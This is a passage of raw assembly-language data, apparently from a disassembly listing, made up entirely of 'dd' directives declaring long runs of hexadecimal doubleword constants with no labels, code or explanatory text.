943D02BCh, 0C0496F20h dd 50A830E1h, 6A88777Dh, 64B14D0Ah, 66DBC601h, 20F2EC26h dd 6F0831A8h, 0EC88272h, 9E6048F6h, 62169D71h, 0F4B28A24h dd 1132086h, 73DD0960h, 20A57Ah, 3234241Ah, 5E978001h dd 8AC3A49Ch, 1E826C5h, 44BC90B5h, 461A65E3h, 0A578FB14h dd 448CB558h, 303F07E6h, 70488F3Bh, 9EE01B82h, 78613900h dd 216F5F64h, 0F4B73BB5h, 198364C8h, 842338h, 243DD27Bh dd 0B12628A3h, 5A0E008Ch, 0A09EE493h, 69C1F123h, 0A4266845h dd 1B8800C3h, 6BF2BAB0h, 132CECB6h, 0AA86205Ch, 30B9F570h dd 0E471A4C5h, 210FCF43h, 0D20B48h, 0CC3B0FEDh, 0B08C3DD6h dd 9A0C4EBCh, 78F861ADh, 93C9140h, 0F347281Ch, 48D54A9h dd 0F37EE951h, 60673111h, 0AA2E651Fh, 1299C4D0h, 18FB4910h dd 7791Ch, 0E1DB6E93h, 1CC4A5ACh, 8F6CEF04h, 0BCC821A0h dd 59676FF4h, 0E1FBF100h, 4004666h, 0FC96E817h, 30A0A6E3h dd 9A306124h, 552C60E2h, 0A36008BBh, 72BB4FEh, 0A0681BEBh dd 0AD10F292h, 9997C886h, 1C3A5CB2h, 862CCC58h, 0C799295h dd 0E8FB3891h, 6A007218h, 0E2F10E96h, 0ED072819h, 6E42C20h dd 0CB20C2BEh, 0AB4C28DEh, 11C8D01Ch, 0EB08E469h, 33E9C11h dd 53D54794h, 4DD1E7A3h, 0D88906CCh, 9890CF31h, 3500E2BFh dd 73547604h, 0C142F26h, 955CF4EBh, 4F07F0A1h, 0FB273E7Bh dd 0FC6893C0h, 5992786Eh, 231164DAh, 0E5CE18F3h, 1627259h dd 0A29E053Ch, 203DBB02h dd 6F88E834h, 0C0F258D1h, 13D09E10h, 98048AD4h, 0C506CF57h dd 0A51D81A3h, 88406150h, 9AFA3CF5h, 55A90014h, 4EB7212Eh dd 6EC0B55Dh, 0DD4119C6h, 80AE5579h, 87DC2EE1h, 20BF00EAh dd 0D89B3033h, 3800D6CFh, 0D05FAD34h, 506B90D1h, 48DCFC46h dd 83182CEEh, 0C28A9F8h, 60248E00h, 5D02A4AFh, 2B110132h dd 0D07CA1B1h, 33E3CE14h, 0EE6F7100h, 15F8C47h, 38050481h dd 98EF3E44h, 1E140DF4h, 3FC40420h, 0FC692C5Eh, 7C501B40h dd 45F8A01Ch, 8050E9C5h, 3C97E374h, 0A91C4392h, 6ABC80EBh dd 45F6868Dh, 267C6702h, 69C442A3h, 98E2F278h, 301DDDACh dd 0C6700C84h, 1A5CECA5h, 82A48180h, 0C501BAC2h, 10719C96h dd 805F8549h, 7AD6BFFCh, 4B09154h, 0A09E7270h, 0CD0CF1C8h dd 3998C60Bh, 3ACF6CCh, 90CF744Fh, 0F822938Fh, 1DEB28E9h dd 0A2C4083Ch, 391966Eh, 0F922FC58h, 5307FD07h, 2EC07Bh dd 0E146C3E2h, 0EE80002Dh, 0B169DA7Ah, 451CFCA9h, 181825DEh dd 176701E0h, 0DC04CDh, 0EB935385h, 1009AE56h, 8FE43D70h dd 3B90880h, 0B3651236h, 46E560F0h, 0FB5D6707h, 0A8666A16h dd 0AE6E1EE1h, 0A0A49566h, 0E527D000h, 7A6F3361h, 28A58E37h dd 0ECDE8249h, 82708917h, 0F971240h, 0FD8C9DDh, 0AEEF28A0h dd 934220A0h, 1F18283Ch, 23DAF9E7h, 0F72450B0h, 0F00C040Bh dd 8A2D30B7h, 801E5481h, 0B4FC00F9h, 0B06098D6h, 0A4A55360h dd 0C01CED22h, 5E1C114Dh, 83043CECh, 14939ED6h, 1A307189h dd 50F8B025h, 510E0885h, 4B00F8CCh, 0E8A02C98h, 9D55BE71h dd 11DC248Ch, 0E0827D03h, 5005B425h, 0BA9EC4E1h, 0AD792A90h dd 99850088h, 257E3CD6h, 10000864h, 66527662h, 28C0506Dh dd 49B43DC8h, 0C406C044h, 88947682h, 4A34697Ch, 30A26023h dd 0F302253Bh, 0CF9AAB44h, 3662F0C0h, 7878BA62h, 0B12220A3h dd 0D401387Ah, 0A425E852h, 94245E72h, 5AA01E34h, 105102AFh dd 0DC85DD3Fh, 0F902073h, 0A2179C6Ch, 0E04F991Eh, 5D43A0C5h dd 1679273h, 0F1B529D3h, 80AC78FFh, 7E6CB471h, 527286h dd 0C406CE47h, 0EEAB8842h, 0A9D28100h, 0F42DCB65h, 59E866h dd 4A443E64h, 0D46C4688h, 96DC1C0Eh, 0E64380B9h, 0A3F12C1Dh dd 0C6459888h, 83F0A89Fh, 0FD56583Ah, 0A780BA3Bh, 10A39342h dd 710A8275h, 0D4ACF27Ah, 0F4EA2A80h, 5867581Bh, 0E041CE3h dd 0A83292h, 0A2308611h, 0F4E917F9h, 1B1C205Dh, 648E328h dd 0A0660140h, 2B4E60D7h, 686229D5h, 0D1D81A7Ch, 50843042h dd 0F9684753h, 0C4FF82E1h, 887E044Eh, 3000B7F9h, 467C8005h dd 1F94CE49h, 0DBE7BFC8h, 0C7AA1968h, 81FEB141h, 0A81BC40h dd 2FFC389Fh, 597E605Fh, 32F7EA83h, 0C47F21Dh, 0C84800FEh dd 0C9E33EFDh, 31C400CEh, 5397FC5h, 2F0FE252h, 4764D4B6h dd 0AD8E4E8Eh, 300C103Fh, 84FADFh, 302DCE3h, 0AD8B15A9h dd 76BCF00h, 7C7FD3FEh, 7A491B4Ah, 72E3B883h, 4241C810h dd 677DE005h, 767C08C9h, 9934341Ch, 0B146840Ch, 0E2541F17h dd 378870D4h, 38C0C673h, 0B26165BEh, 0D975160Eh, 30371081h dd 0A4B7FD0Ah, 0C1489C94h, 987BC52Fh, 0FD51D16Ch, 2854019Bh dd 686E0848h, 50B491FAh, 0A8A87BE1h, 541813C1h, 19919C2Ah dd 5D4A3280h, 1BE06279h, 0D8612A4Ch, 4ACC8221h, 22277440h dd 18325480h, 6A5918B9h, 0F04C80A7h, 0E14CA8DFh, 7ADA715Ch dd 4441C702h, 540F4067h, 3745DA3h, 4200B3F0h, 0E8EA62A9h dd 0A1916BC4h, 0C5104584h, 0C26065C0h, 0E8F7EC41h, 0E5DD039Ah dd 497CE38Eh, 31F2A7EFh, 0D698AFC5h, 2A01F890h, 5DC94CA0h dd 0A07C1A28h, 3265FA19h, 4EC8E451h, 74A976E3h, 6AAD0046h dd 7D537F10h, 0BF0D473Ch, 0C10108A3h, 507CBBD0h, 14908B7h dd 912FBCFAh, 53A0E7C8h, 101580D0h, 1D8037E1h, 705CD4B8h dd 0F44CCC4Ah, 0C1971831h, 284FBAC1h, 0A18C9824h, 85D0E128h dd 4A588A61h, 0B8D062h, 30FB452Ch, 3ECBBF31h, 0CAB03538h dd 3C8D52F1h, 78BBD10Ah, 0FC7840C2h, 83351B26h, 0A0D039BFh dd 52C748C9h, 2C0F03B9h, 24D39180h, 144C97EEh, 0CA8AF436h dd 0C815D63Ch, 8D464E8h, 8324C099h, 0B2B77BC4h, 0B1343142h dd 15D20173h, 8F47EC80h, 96FCEA0h, 0C6DAC529h, 8606B423h dd 0CA493AF0h, 0CFB8A42Ch, 68564820h, 0D986C8BCh, 9C9CC17Ch dd 0E992B961h, 0E7C70802h, 7FA8A760h, 0CC2CA189h, 618C754Bh dd 0D1A9EBA5h, 62322084h, 0EC5D7F03h, 3CC8434h, 80264B71h dd 99885415h, 30E9C6Fh, 524465E4h, 270D015h, 0DA278EB0h dd 2DC461FDh, 0DD01819Eh, 1429BECBh, 0BC379420h, 0C3ED6D82h dd 45A07840h, 0FD489C90h, 0C5C107A0h, 3033C6BFh, 10085093h dd 38CE638Fh, 4A90D58Eh, 6C00E9E8h, 19BA03DCh, 3A39CF6h dd 0F845CC4Ch, 46F0D0CBh, 1100360Bh, 15871BE3h, 0F5D18h dd 478EFA4Bh, 1470A01Fh, 6F8BD202h, 0E0AD8C25h, 48585h dd 535CB197h, 0E40C2A0Dh, 401D0732h, 746343h, 419FF941h dd 6F82CC11h, 0CF907B00h, 3950DE28h, 7FD8E3D0h, 0C2600E6h dd 148754F3h, 197655D6h, 568ECB00h, 1142ECFBh, 6D812CFEh dd 0D5044888h, 4BF8A87Eh, 58EE091Eh, 0D800CC07h, 40D9C326h dd 0C048DE00h, 7C2BC790h, 16290038h, 421D45E4h, 18036A17h dd 5AB93685h, 1540001Fh, 80167504h, 283AA655h, 0BE390EE1h dd 0D7B609Dh, 7F9D12Eh, 190C2DE0h, 284905Eh, 1F0E538Fh dd 0F0E25AF4h, 0A1552A00h, 3A85034Bh, 5FC9B400h, 0DB82E650h dd 61463818h, 0D59EB01h, 0D4B8F855h, 5B0117ADh, 1F75D10Eh dd 0D029624h, 22673861h, 80A5EB94h, 1846DE1Fh, 6C8B0200h dd 28A75525h, 3A840003h, 7F39C5B1h, 160026F6h, 0B5B1C15h dd 0E25CE9h, 4FB9CCC0h, 0DC59E71Fh, 2D7E3E00h, 4ED98BF6h dd 0BF8700DEh, 4638D3A7h, 0B400ED05h, 45994BFCh, 7DB7015h dd 4FBA368Ch, 1740E021h, 1B007E3Fh, 28AE8EF6h, 0BD8809h dd 795DD1CBh, 1519E3F9h, 0E1D601Dh, 80127040h, 785BACCh dd 116CECF4h, 81AC6F3Fh, 9163A40h, 8C6AC5C2h, 0B5D000BFh dd 469FE851h, 8BD10014h, 0D7C1261Ah, 3AE8CD3Dh, 63CED510h dd 160D3300h, 0E141875Fh, 811E58h, 0E8448ECBh, 9B59EAh dd 372DB6C9h, 0D25A7C5h, 0C4F85C00h, 0F44D2C06h, 1E18F2E3h dd 0C045976Dh, 3A550FE1h, 240185C0h, 0FFDE41EEh, 0E0EB2A88h dd 0FCC329Dh, 0CDDB3948h, 0E3E77620h, 1B12F10Fh, 0FC1C0E5Eh dd 8CFA8480h, 0E81986h, 0AF3F1058h, 0E4908216h, 8503483Ah dd 3606B53Bh, 2030AC82h, 69170D84h, 8998AEEh, 0F47F04A3h dd 0B5111400h, 0BB08EA4Eh, 34EF00F5h, 0C4F354D1h, 34A58196h dd 49A150h, 0F18718E6h, 4ED2E5F2h, 0A9A4F002h, 0B8E9E261h dd 60FAD31Ch, 9C7F10A6h, 0E87CC5BFh, 14D9B528h, 27FEDF00h dd 831445E3h, 0CB09E27Eh, 0EC20D708h, 0B928363Eh, 2F308B01h dd 764CCBAAh, 40F45D13h, 6B704373h, 156C00B0h, 0D32F492Ah dd 0BE05B8DCh, 0AD8B124Eh, 33AE4E0h, 5396221h, 80B8D1C5h dd 93003622h, 4E66BFC8h, 0CAB835D0h, 0B641D38h, 69839FF9h dd 0BC887C7Ah, 7F53E9D0h, 30CE201Ch, 4AD9FE09h, 1100DA41h dd 716BBFCAh, 605DFD18h, 0A48EB12Eh, 0C13C2208h, 0C5A70062h dd 0A3F5BD5Ch, 0E8FCCAh, 60B4DF11h, 7D47CC22h, 0B78189DCh dd 7C7FCAADh, 0C4054F1h, 0E909A69Dh, 27E01E03h, 416059B9h dd 432A4CE9h, 84C0BEADh dd 7B6949h, 452968E5h, 841B5075h, 353A448Ah, 8060832Ah dd 0E77AF278h, 0A48008BCh, 4E19C0C9h, 35D17DBh, 20C0C446h dd 0C0B209FCh, 15D3E500h, 0CB786BF5h, 90674A2Dh, 20A462F8h dd 6F324200h, 59ECABB3h, 3DBB00F4h, 0F082E283h, 23008D5Bh dd 19636045h, 31FFFDE5h, 48E0C09Dh, 0E0544049h, 6D201081h dd 86C41E68h, 0FE04C0E9h, 0E5C9E2E6h, 8DA00695h, 0F0A70021h dd 0D24FBCBFh, 0D7050325h, 70E151B8h, 5ECA9404h, 46589496h dd 0BFE3020Eh, 31F6FDFEh, 0F2A51073h, 0B66901BFh, 0DE2360AEh dd 5DB3E424h, 11F87C54h, 45A44D00h, 29AE6837h, 0C8E45007h dd 8C48FDB2h, 0ECC150E6h, 446D0092h, 0BC7D7F9Fh, 22ECD21Ah dd 80A5473Dh, 0B703B802h, 628FF08h, 6D4EFA13h, 0CE00897Ah dd 0DA4499C5h, 0FAC431Eh, 1813814Fh, 0C2BDB6AEh, 0F30538BAh dd 0F991E897h, 0A4DEE80h, 0B9C2DEEBh, 414F5424h, 299DF60Eh dd 515380F1h, 0DB8DACFDh, 97479C00h, 151F72EFh, 0F92A3BB6h dd 0DD751800h, 0E25295B8h, 5009AE31h, 48404C35h, 7A0E28DEh dd 9C28C08Fh, 495E634Eh, 0A7126CEAh, 406C5C9h, 731CD66h dd 80A81A97h, 8C4220BBh, 363B234Ch, 9A4877C8h, 0B7F90014h dd 7C801152h, 0D0FE25h, 37540F4Ch, 5EA902B3h, 69D43854h dd 4113FA00h, 2E31804Eh, 74AE7617h, 0A8B0672Ah, 82CA14E8h dd 0E4301510h, 0FE3708BFh, 0A458E34Eh, 0DBF01EBh, 0C8D65072h dd 7A7CD42Bh, 5455D348h, 1F8C1238h, 0D402BFDFh, 71882856h dd 0BFEEA180h, 0E234C0CCh, 0DC60A8AFh, 127B31h, 67570DC5h dd 7FE61FF2h, 0A0D1A724h, 244AC480h, 6EBFC7EFh, 9F435165h dd 2000A699h, 0BE303A55h, 93AF86h, 28DF0EE8h, 0B76F9C73h dd 1529A09h, 3240098h, 0A8F707FEh, 257948ACh, 0CCC8391Ah dd 50C1D4D5h, 57E1C7FEh, 4B58A19Fh, 48105F3Bh, 8C071862h dd 0A91ABAD0h, 0E0ACFB74h, 41212830h, 2D008C10h, 0D91421E8h dd 0CC3834DFh, 19D1BE78h, 376F4C03h, 18914ACCh, 41FC7B59h dd 54482582h, 0E908405Dh, 40B3B3F8h, 0E5283801h, 19FEE445h dd 304410DBh, 0C9B50028h, 16CB0831h, 434CD018h, 100E2398h dd 0C8ECC8B2h, 4E1C04D5h, 0C3B098D3h, 21BCFE89h, 0D73BC43Bh dd 51B93102h, 4C616181h, 280C791Dh, 0CD20C0C6h, 0E2541397h dd 0ACEC5077h, 16013523h, 0ABACE8Ch, 3B882A18h, 0CF8C000Eh dd 5AF1CB9h, 8F3F67FBh, 4C0801F7h, 0D4668027h, 385AA180h dd 0A8EFA72Fh, 24B74F00h, 49459F39h, 0C7F626D7h, 904676C4h dd 0BA4A1Dh, 0CB7A1B9Dh, 7DE87947h, 8224A8A0h, 0FA4E7C04h dd 0B8BDE08Bh, 395F3CC3h, 6CACC900h, 0AE6E1FB1h, 0C2460176h dd 0B37C84D3h, 0CCE05104h, 0D0A04848h, 19CFDA30h, 0A15780h dd 612B645Ch, 0E03BB751h, 5D711E00h, 0AC1DADA3h, 655A0004h dd 48ABD49Ah, 7E00E6BCh, 8AB8DBE3h, 300A4E25h, 0C5A0A6CFh dd 78503931h, 2AB045D8h, 8F144971h, 0EC90CD3Fh, 0E2C8C71h dd 6D08E478h, 37980C75h, 6540CD10h, 5FE2184Eh, 0CBD380B1h dd 2F93D9C1h, 87F84412h, 65F0002Dh, 0FB064947h, 80B87CEEh dd 98C8120h, 40B77BC6h, 0E95C20D0h, 8CD2BCCCh, 54AFD303h dd 2D98FF2h, 52C61B88h, 0E4A134BEh, 20AD41B7h, 3CB042D4h dd 0CE02F246h, 0A34E16C0h, 4008C47h, 6D4FC0B7h, 53E2003Ah dd 8902A590h, 0F2019BFAh, 20B1ED12h, 65C00379h, 82C9007Eh dd 0EBEA924Fh, 19314A9Ah, 786EE877h, 9F96AC50h, 0CCC00057h dd 51FC66DBh, 4800D8CBh, 64827C34h, 8383AD5h, 0CFE71297h dd 2C39B30Eh, 446D4887h, 85040E62h, 0D3F125A1h, 26DC2889h dd 0B9F8009Dh, 2FA7C30Bh, 1A00932Dh, 0C372974h, 499C34FBh dd 7B820CE8h, 0A0829405h, 0C502D713h, 0F194848Eh, 17C0CF60h dd 11CB4E23h, 0B80B01C1h, 0E5AF7CC0h, 1F988E8h, 0EA371F39h dd 0A422C42Fh, 46741050h, 16DE001Fh, 9FD30C93h, 1F4EEEF3h dd 137AA62Fh, 4264B561h, 330B81Ch, 45E81128h, 80D6883Ch dd 2C283B41h, 0B3168E14h, 30001D46h, 0E899F8CCh, 0CBF92CFFh dd 48B8671Ch, 0CE605228h, 0A716C9F1h, 93C503B7h, 5F6FFA34h dd 0EAB081A6h, 0D1D3C100h, 6BF7C71Ch, 4A47B53h, 0F24EDD04h dd 0E8549117h, 0CA03618h, 61CB8535h, 0D32F185Bh, 4146B1BAh dd 0F027A233h, 19BCE7F6h, 123F076h, 0EF55710Fh, 0C335B141h dd 0E6364FB8h, 3E4AA000h, 0F318ED62h, 20DC9072h, 982164D5h dd 8FFB00F2h, 0F5855C08h, 0FFFDFC17h, 72809D10h, 12C9D58h dd 0C56C8682h, 76FFDF7Bh, 0EC65010Ah, 81D8E618h, 162C3611h dd 0CC09BFE8h, 8E2CB1EEh, 0BFEFA810h, 4FF9B501h, 7FDE61Dh dd 0B70C346h, 372E2146h, 0C3A5E010h, 15AC7682h, 2204B096h dd 0B17A5146h, 0A102E47Ch, 1B8C1700h, 0FFFE97E9h, 38A76281h dd 0D8E16449h, 46D19E99h, 38357E4Ch, 0C0D74E5Dh, 12381C70h dd 81BDF304h, 4CD490AEh, 0E24DC441h, 0C424C83Bh, 0B9E12C81h dd 0F1AC0300h, 180CCA5Fh, 31D365F2h, 6ACE00E3h, 1F831C0Dh dd 3B5D5B86h, 225100F0h, 7ED9BB48h, 984652CCh, 3365E60Fh dd 1C4488F2h, 0F7804805h, 0F44003DAh, 12FB65C3h, 4A3A0171h dd 372310F2h, 7BE8D73Ch, 0D26F678Bh, 0E1744081h, 7DA5FF0h dd 0EB87088Ah, 0CFE680B9h, 689816E7h, 75298EE2h, 7379DCD9h dd 0E83E6218h, 1064C8BDh, 351304D3h, 530CB446h, 249A73F8h dd 4981AF12h, 288EF884h, 2BC0BE88h, 0F9A2BCh, 0B9F758C9h dd 0B67C3593h, 3401ACBBh, 0C19B7EB2h, 0BABD51E8h, 13C80F58h dd 35254A70h, 5EF80E49h, 0A00E39B8h, 36C66F00h, 0A326309Dh dd 0A55D0F9Ah, 0D0C04527h, 7619BF38h, 8479C0C8h, 826B6C35h dd 5C501120h, 0C4285F7Ch, 3FFF084Ah, 0BA84681Fh, 0B4902D49h dd 0A89711D4h, 247F1B88h, 604F18Bh, 987B6659h, 25AFFF09h dd 0A49CC2FCh, 0E56014A8h, 0FE1038BFh, 0A3B0E346h, 0BE00BFECh dd 28D53CD3h, 17950D7Ch, 4BF7E27Fh, 6C87EF0Ch, 5E16E886h dd 121A44A4h, 202D9F5h, 0F1933C80h, 679348D4h, 12A694E4h dd 256CDBh, 5424F2D5h, 1774E838h, 0C7DA6712h, 19995040h dd 0F58C30h, 8958282Bh, 10F1ED4Fh, 34D02F02h, 49C5E5AEh dd 0C180FE40h, 0D61771FFh, 0DF5CC309h, 84998460h, 0C810CB12h dd 700FC0FAh, 0E1C32F5Eh, 88CA06EFh, 0B4A4C7h, 99EEACE6h dd 687ECB37h, 81B6C102h, 4733E9BDh, 60C46450h, 3F0E9A2Ch dd 18791959h, 21F565FCh, 8D009BB5h, 86708CC1h, 7F34C1Bh dd 9F9F1ECh, 379711FBh, 8E1AC822h, 5409B275h, 2AACE30Ah dd 4E123414h, 9FFF64C0h, 0C500E9A9h, 9961A24Ah, 0CADAA118h dd 304DC050h, 516F00B8h, 2834B1FCh, 0D40687ADh, 92EE79FDh dd 0A7DE0230h, 0FB71BC8Ah, 0A63B4860h, 65E35C09h, 46DCE8AFh dd 79766059h, 0FC12076Bh, 0C0C06780h, 45EA3AD9h, 0CE05403Eh dd 6241FE32h, 0B1CFC492h, 1C326EA8h, 0BF6F901Ch, 25CC6C80h dd 914B8BF5h, 0E7BBD00h, 221E3075h, 6C690127h, 0E6414872h dd 18466B35h, 2D80A809h, 342F3FCCh, 0A069A782h, 5FB64800h dd 88F8AB30h, 1B1E82Bh, 7014B2C0h, 0C039AB9Eh, 0F700DA41h dd 0E83017A8h, 47AE7B6h, 4B1BC8E6h, 0F84C27Dh, 7EADEA31h dd 0E071C842h, 0BFF1A640h, 0D42B0091h, 0B3F695F8h, 67404151h dd 0F0264C8Fh, 7FBC4908h, 6E686482h, 0F78D080h, 2151BAB5h dd 0C843301Ah, 0AF083B5h, 0FF6502CCh, 383078CDh, 70D041Eh dd 90F1F7F2h, 0E5093728h dd 7CE27EBCh, 0A9019451h, 5E0BD934h, 4BE95CFCh, 225BB01Eh dd 222C7627h, 20AD8214h, 0B4C0E5DEh, 2B14D21Fh, 54C02892h dd 4AB3F9CDh, 0E2EC1DD6h, 51E93Eh, 3B4745AAh, 289B4EEAh dd 2B9BCF3h, 4C8D58B9h, 808281A5h, 64D182F9h, 61188FD9h dd 8E021B3Eh, 65F532Ch, 0B21796Dh, 0A68ADBF0h, 0F7E54400h dd 4707A28Dh, 0CA79E77Eh, 0F9A7FF91h, 0E978016Eh, 6A315DF8h dd 0D81D0440h, 755E90DEh, 377A006Dh, 0FCF2224Eh, 93E9242h dd 8118DDA5h, 23167948h, 5298C500h, 468C125h, 0E4407EC4h dd 489B7D28h, 37F90E17h, 8E31A600h, 1618F658h, 1C4D86Eh dd 659F880Ch, 0CF58BCC6h, 0C0E67C20h, 2A4B0BEFh, 0A8700A46h dd 9C4ACC1Ah, 706C5B21h, 0C601088Eh, 195A26FCh, 2420B548h dd 60A8410Ah, 80407EA0h, 9032545Eh, 3B940099h, 4A37DE67h dd 0B50E3D34h, 1D7C6A43h, 3C00C357h, 35E7C904h, 0F6CCB6ECh dd 7D3B1100h, 9CE87418h, 4AB4A08Ah, 4880822Fh, 0E625431Bh dd 0F65F3700h, 0A545D338h, 49CB12D9h, 4020C494h, 1D9F525Ch dd 0BE00F8E0h, 2E0EA0B6h, 14E0595h, 0B976659Ch, 248DF151h dd 61625EB8h, 48C8DA39h, 278B6Ch, 55EA9498h, 0DF4D60Eh dd 1DFFFE0Ah, 180098B4h, 0C17EE545h, 0F3E23FC8h, 0A1010240h dd 39BABD09h, 14709EDDh, 0B77C160Eh, 0CB20E061h, 9C204E5Eh dd 80D251A7h, 67520566h, 1F023A0h, 4E18C0D0h, 898C73B3h dd 60708E0Ah, 0BFCB4B25h, 269498D5h, 42E0F88Dh, 5E052AE6h dd 254CF4h, 0D7263364h, 4A84114Dh, 60B9EE00h, 7BFD18CAh dd 4C9C0B05h, 0D0C6B32Ah, 0B6CD6645h, 4613643Dh, 0FD542021h dd 0C640FE07h, 406E5F1Fh, 0E1029488h, 90070A91h, 0F8B21DC9h dd 0EF3B011h, 9E46B3DCh, 0D93962A4h, 0D6593CDBh, 3C3C35ECh dd 2B00DFB6h, 391C5CE6h, 0FB0F4637h, 6305A9B2h, 0FD5EBEABh dd 0F3F08440h, 963D2Eh, 8FCB22C0h, 5F7FF950h, 0DDCBF01h dd 627AB034h, 0D004B42Ch, 0E1989BB8h, 0EC703CC4h, 36008C27h dd 688F4902h, 0BDC8299Fh, 0C066C409h, 80980D38h, 947EF237h dd 90E8E924h, 71D0B9FCh, 0A2188Ah, 2825AD63h, 0D9F957B8h dd 3A0E950Dh, 5AC478F6h, 2C8B5CFEh, 19CAE986h, 0D8E6B500h dd 2B989DB1h, 3146001Eh, 61B43FE1h, 224881BDh, 8C304A70h dd 82E2E32Ah, 8765B082h, 60A2E504h, 203171F2h, 387EC860h dd 66170B8Bh, 74B0A3C9h, 98052200h, 0ECB73A09h, 7C3B050Eh dd 0A252CC8Bh, 18E917ACh, 0B913C4A3h, 0FDECD193h, 0F23422D8h dd 473F308Ah, 3729441Dh, 50FCC5Fh, 5424C1D9h, 0E460C54Ch dd 0F2C18390h, 7408388Bh, 9DBE8214h, 903A4B98h, 36008923h dd 0AE9892A5h, 0D2310097h, 68FB3493h, 0F1247A5Dh, 3611440Dh dd 6778AE00h, 0E71F053Fh, 4EAC4600h, 25225345h, 0F3951658h dd 7E18001Dh, 71FFDFE3h, 5E494817h, 41C44CC2h, 87AD474h dd 5397A390h, 2C903416h, 9488C151h, 0C24676CCh, 0B4B7C90Fh dd 6F845543h, 0C6E8D993h, 0DF07830Fh, 67C7CBE5h, 760C8589h dd 1FFBA4D7h, 80C19130h, 0C77926A0h, 35B80920h, 7082A2BAh dd 97180547h, 0A6A18381h, 71106C35h, 44A7A2Fh, 648BE000h dd 5AC08AC8h, 79945933h, 3F25767Bh, 0E593E7D1h, 3564C8C5h dd 3997FB88h, 1C1D4DF2h, 0D8B34C98h, 723122A0h, 0C61138E6h dd 188870Ch, 9459543Ah, 0B77B13C5h, 72D04CA6h, 0CC4C5748h dd 8C23F858h, 2C1F8905h, 0A2C0086Ch, 0BE935E22h, 41AD4430h dd 0D43F09ABh, 81FB6882h, 7840A0DAh, 70C1A6CCh, 607FE3Ah dd 1803202Ch, 0D0A3E246h, 3F81301Ah, 51C40B0h, 95C88076h dd 1531BA0Ch, 1452108Eh, 641A45FAh, 19013A23h, 12BAC98Ch dd 40882618h, 0A8C0011h, 0EF78F9C8h, 0E078D0EDh, 4E8EB900h dd 0DC79B866h, 0C42CA528h, 0F51C602Ch, 786D58F9h, 0EEA1A88Fh dd 0FC740B44h, 0C00C0B5h, 213B2D3Eh, 4A927C37h, 0A4A041DAh dd 0F01A2A50h, 4103696Bh, 548ABC01h, 0BE338838h, 0A64E0A20h dd 1F887B7Dh, 0B734001Bh, 0CA7549B6h, 0F1AEB0A0h, 8C026F28h dd 6965EB25h, 0DAC8B390h, 8109009Ch, 0BC22FC4Bh, 4D000FE3h dd 3D91B658h, 9821F029h, 317B0204h, 0CBBF97A1h, 6547E05Ch dd 0EFB932h, 0ED630546h, 4E097498h, 0EA40CBE8h, 7B05938h dd 0E0E24BF9h, 2C3DBF85h, 0AF1A9200h, 5145C1B8h, 1C389ED6h dd 0BD3904D0h, 0FE588868h, 8488F94Ah, 0FD058CB6h, 0C45EA27h dd 3FC0DCB2h, 0D1612835h, 0CD132EE2h, 34906DE9h, 4472C2h dd 1BF7A005h, 98486EADh, 5F0CBD07h, 68112F2h, 9FC04E82h dd 0C475F9B5h, 7E00D82Dh, 0ADEAD65Ch, 83019C1Ch, 5147BDE9h dd 4B61AED4h, 0CBC3AC41h, 202B2A09h, 0AC012E23h, 725E8292h dd 8B88442Fh, 0CC7B01A7h, 518CC04Ah, 33393C5Dh, 0D9393A3Fh dd 71122E30h, 0E4BD3032h, 0F8D490C8h, 0C1B566Bh, 0C8648725h dd 31A3DCE5h, 64FA9C01h, 6EA42E33h, 0A000C062h, 8E03B0F6h dd 0CB0018A7h, 0E1B36BA2h, 0E0905594h, 7AA03080h, 0D3FEABB0h dd 0E018A099h, 3E815141h, 6C50895Ah, 34B14343h, 0A88E29A1h dd 7EC38988h, 955988BEh, 0C7EB0491h, 0A9DA4329h, 80FD0934h dd 17B68054h, 1115CA4h, 0AAA70895h, 0CC02019Dh, 0B816C987h dd 44C81849h, 0CD058CEBh, 0BB4E15C0h, 500288Eh, 2838C0B6h dd 0C8FE10E9h, 3224D100h, 71AF87E8h, 0F62490C9h, 94064D4Ah dd 0FDBBC509h, 8FD1A871h, 83018D18h, 643A7B32h, 34706605h dd 41480B22h, 0E04C27FAh, 35090262h, 144CFA4Ch, 0BC4816E4h dd 0C5246722h, 4D09E4F1h, 0D4C22B9h, 0C90E00Fh, 230584CDh dd 0C2B53B72h, 3E811081h, 4CF3D824h, 0C125D46Bh, 8482B8C2h dd 9300D7FFh, 0D671795Ah, 0CB741228h, 0C08F8854h, 58435191h dd 0B03CCD01h, 6D2BC8B6h, 40AAC460h, 0A716FF98h, 484CE0Dh dd 9110A8A6h, 514812AEh, 2CFD04E4h, 87E8CA07h, 8565C67Dh dd 80E8F036h, 823A221Bh, 0AC35E358h, 3B02E0BDh, 0C709A77Eh dd 275458C8h, 6890107Ah, 828001FEh, 0CCCD58F2h, 1EAE8D11h dd 0A8E88918h, 84B9272Ch, 0D8834E65h, 0AF3802A9h, 2F17BE59h dd 0E9E6A08Fh, 6B225816h, 0BCF300A6h, 4947F0B6h, 80B49792h dd 2B3B188h, 127E414Ah, 0D864E476h, 74B800E8h, 0EAD8018Ch dd 0FE4147B8h, 4A07D7Dh, 0D3223A99h, 5020C8h, 6CCF67C6h dd 0E8C2FF9Eh, 11B01795h, 0C12E81D8h, 91CC236Ch, 8D084E9Ah dd 0D1F9D8B0h, 0A4E1704h, 8CF9C99Fh, 0C46C752Eh, 0A7D5EAFh dd 9C432DCCh, 99D2D30Bh, 0E18D86E4h, 0F8A1375Eh, 32272794h dd 0C6490h, 0B84AE5B0h, 0C60C448Ah, 24D1BC3Ah, 0B3F749Dh dd 2C923D7h, 19677554h, 258183D6h, 0AC224846h, 35A73704h dd 0ADB94861h, 0F6340805h, 9E919CACh, 0ED26F23Ch, 0C0CBC040h dd 0EB464E1Bh, 0ED98BD22h, 7236C058h, 53FD1202h, 90E2AF0Ah dd 449EC998h, 444FE38h, 124212A6h, 4DA4A481h, 8A8A0CEBh dd 18346461h, 0CF8C0817h, 2DC442BAh, 8C0FC05Eh, 0A8615E41h dd 0A76D58C4h, 35223632h, 8508544Bh, 84CBF9C5h, 0EDF02D1Ch dd 482153Eh, 280230B1h, 0F47F45E6h, 42D44486h, 81283A2Fh dd 0E3100CF8h, 0ACDFCC41h, 1284710Ch, 88D6859Fh, 958098F0h dd 0C564D0Eh, 0CA88481Fh, 61F801FCh, 367A9941h, 713EA000h dd 0D0A38839h, 18452184h, 84300E78h, 11F65521h, 8DCC181h dd 2F2A8A1Ch, 127123E4h, 51E9027Fh, 30E965F5h, 2E082027h dd 8C1D028Ch, 0A8F2BAC5h dd 3C401859h, 1DB98C15h, 1946CF4h, 72594644h, 0C93C232Ah dd 99C7434h, 985A4935h, 9DE6E401h, 3F2A5473h, 43F9835h dd 8254A04h, 4BE1168h, 0CCD309C5h, 